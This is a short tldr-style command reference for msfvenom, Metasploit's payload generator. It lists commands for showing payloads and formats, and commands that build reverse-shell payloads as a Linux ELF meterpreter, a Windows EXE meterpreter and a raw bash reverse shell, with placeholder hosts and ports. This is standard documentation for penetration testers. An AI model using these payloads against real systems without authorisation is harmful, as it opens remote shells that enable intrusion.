msfvenom Command Examples

Manually generate payloads for metasploit. More information: https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom.

• List payloads:

msfvenom -l payloads

• List formats:

msfvenom -l formats

• Show payload options:

msfvenom -p {{payload}} --list-options

• Create an ELF binary with a reverse TCP handler:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f elf -o {{path/to/binary}}

• Create an EXE binary with a reverse TCP handler:

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST={{local_ip}} LPORT={{local_port}} -f exe -o {{path/to/binary.exe}}

• Create a raw Bash with a reverse TCP handler:

msfvenom -p cmd/unix/reverse_bash LHOST={{local_ip}} LPORT={{local_port}} -f raw